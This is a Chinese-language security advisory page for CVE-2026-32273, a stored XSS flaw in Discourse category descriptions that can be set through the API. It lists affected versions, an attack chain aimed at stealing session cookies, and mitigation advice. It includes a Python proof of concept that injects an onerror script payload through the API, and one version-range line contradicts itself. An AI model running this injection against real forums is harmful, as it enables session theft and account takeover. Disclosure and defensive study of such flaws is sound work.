IPBUF安全漏洞报告
English
CVE-2026-32273 CVSS 5.4 中危

CVE-2026-32273 Discourse存储型XSS漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-32273
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Discourse

相关标签

XSSDiscourse存储型跨站脚本Web安全API安全

漏洞概述

Discourse是一个开源讨论平台。在2026.1.0至2026.1.3、2026.2.0至2026.2.2以及2026.3.0之前的版本中,存在一个安全漏洞。当通过API更新类别描述时,系统未对描述字符串进行充分的清理和过滤。这允许攻击者注入恶意脚本代码,从而实施存储型XSS攻击。当其他用户浏览受影响的类别时,恶意脚本可能在其浏览器中执行。

技术细节

该漏洞属于存储型跨站脚本攻击(Stored XSS)。其根本原因在于Discourse处理API请求时,针对“类别描述”字段的输入过滤机制存在缺陷。攻击者利用低权限账户通过API发送恶意请求数据包,将JavaScript代码注入到类别描述中。由于服务器端未进行适当的HTML实体编码或过滤,恶意Payload被直接存储在数据库中。随后,当管理员或其他用户访问该类别页面时,浏览器会解析并执行这段恶意脚本。攻击者可借此窃取Cookie、会话令牌或重定向用户至钓鱼网站,进而可能危及账户安全。CVSS 3.1评分为5.4,属于中危风险。

攻击链分析

STEP 1
侦察与准备
攻击者识别目标Discourse平台,并注册或获取一个低权限用户账户。
STEP 2
构造恶意请求
攻击者利用API接口,构造包含XSS Payload(如<script>标签)的HTTP PUT/POST请求,旨在更新某个类别的描述字段。
STEP 3
注入Payload
由于服务器端未对描述内容进行有效过滤,恶意Payload被存储在数据库中。
STEP 4
触发漏洞
诱导管理员或其他具有高权限的用户访问包含该恶意描述的类别页面。
STEP 5
执行攻击
受害者的浏览器解析并执行恶意脚本,攻击者可借此窃取Session Cookie或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Discourse Category Description XSS PoC # Description: Update category description via API with malicious payload. target_url = "https://target-discourse.com" api_key = "LOW_PRIVILEGE_API_KEY" api_username = "attacker" category_id = 1 # XSS Payload payload = "<img src=x onerror=alert('CVE-2026-32273')>" headers = { "Api-Key": api_key, "Api-Username": api_username, "Content-Type": "application/json" } # Endpoint to update category data = { "category": { "id": category_id, "description": payload } } response = requests.put(f"{target_url}/categories/{category_id}", headers=headers, json=data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Visit the category page to trigger XSS.") else: print(f"[-] Request failed: {response.text}")

影响范围

Discourse 2026.1.0 至 2026.1.3 之前
Discourse 2026.2.0 至 2026.2.2 之前
Discourse 2026.3.0 至 2026.3.0 之前

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用非管理员用户通过API修改类别描述的权限,或在反向代理层面过滤包含常见HTML标签(如<script>, <img> onerror)的请求内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表